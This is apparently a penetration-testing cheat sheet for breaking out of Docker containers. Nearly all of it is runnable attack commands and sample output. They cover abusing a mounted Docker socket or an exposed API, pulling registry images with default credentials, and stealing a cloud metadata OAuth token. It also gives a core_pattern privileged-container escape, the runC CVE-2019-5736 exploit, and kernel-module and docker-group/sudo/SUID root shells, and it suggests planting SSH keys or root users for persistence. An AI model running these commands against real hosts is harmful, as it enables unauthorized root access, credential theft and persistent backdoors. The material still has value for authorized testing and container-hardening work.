Docker

Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

Popping Docker


Mounted Docker Socket

Prerequisite: * Socket mounted as volume : - "/var/run/docker.sock:/var/run/docker.sock"

Usually found in /var/run/docker.sock, for example for Portainer.

curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json

curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start

Exploit using brompwnie/ed

root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true        
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn:  /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Open Docker API Port

Prerequisite: * Docker run with -H tcp://0.0.0.0:XXXX

$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12

Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in /mnt.

$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
or
$ docker -H  open.docker.socket:2375 ps
$ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
or 
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

From there you can backdoor the filesystem by adding an ssh key in /root/.ssh or adding a new root user in /etc/passwd.

Insecure Docker Registry

Docker Registry’s fingerprint is Docker-Distribution-Api-Version header. Then connect to Registry API endpoint: /v2/_catalog.

curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>

# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local

Access a private registry and start a container with one of its image

docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash

Access a private registry using OAuth Token from Google

curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io

Exploit privileged container abusing the Linux cgroup v1

Prerequisite (at least one): --privileged --security-opt apparmor=unconfined --cap-add=SYS_ADMIN flags.

Abusing CAP_SYS_ADMIN capability

  1. Find the mounting point using mount

$ mount | head -n 1
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
  1. Create an evil binary at the root of the filesystem: cp /tmp/poc /poc

  2. Set the program to be executed on the coredumps

echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern
  1. Generate a coredump with a faulty program: gcc -o crash crash.c && ./crash

int main(void) {
    char buf[1];
    for (int i = 0; i < 100; i++) {
        buf[i] = 1;
    }
    return 0;
}
  1. Your payload should have been executed on the host.

Breaking out of Docker via runC

The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team

Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736

$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC

Breaking out of containers using a device file

https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10  2019 /etc/shadow

Breaking out of Docker via kernel modules loading

When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only one kernel, unlike VMs). This provides a route to an easy container escape.

Exploitation: Clone the repository : git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping Build with make Start a privileged docker container with docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu cd /root in the new container Insert the kernel module with ./escape Run ./execute!

Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; /proc/escape and /proc/output.

  • /proc/escape only answers to write requests and simply executes anything that's passed to it via call_usermodehelper().

  • /proc/output just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.

The clever part is that anything we write to /proc/escape gets sandwiched into /bin/sh -c <INPUT> > /proc/output. This means that the command is run under /bin/sh and the output is redirected to /proc/output, which we can then read from within the container.

Once the module is loaded, you can simply echo "cat /etc/passwd" > /proc/escape and then get the result via cat /proc/output. Alternatively, you can use the execute program to give yourself a makeshift shell (albeit an extraordinarily basic one).

The only caveat is that we cannot be sure that the container has kmod installed (which provides insmod and rmmod). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the init_module() syscall to load the module into the kernel without needing insmod. If you're interested, take a look at the Makefile.

Escaping from a Docker Environment.


Running linpeas or other script to identify vulnerabilities if there is evidence of being in a docker environment, or being able to run docker, or being a member of the docker group we can check:

If we have a shell it can be used to break out from restricted environments by spawning an interactive system shell. The resulting is a root shell.

The first thing to check are the docker images that we can use:

$ docker images

Shell

In this example the bash image identified above will be used. We can break out of the shell with:

$ docker run -v /:/mnt --rm -it bash chroot /mnt sh

And we are able to successfully escape and are root

File Write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

Write a file by copying it to a temporary container and back to the target destination on the host:

CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write

File Read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

Read a file by copying it to a temporary container and back to a new location on the host.

CONTAINER_ID="$(docker run -d alpine)"  # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

The resulting is a root shell.

sudo install -m =xs $(which docker) .

./docker run -v /:/mnt --rm -it alpine chroot /mnt sh

SUDO

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

The resulting is a root shell.

sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Last updated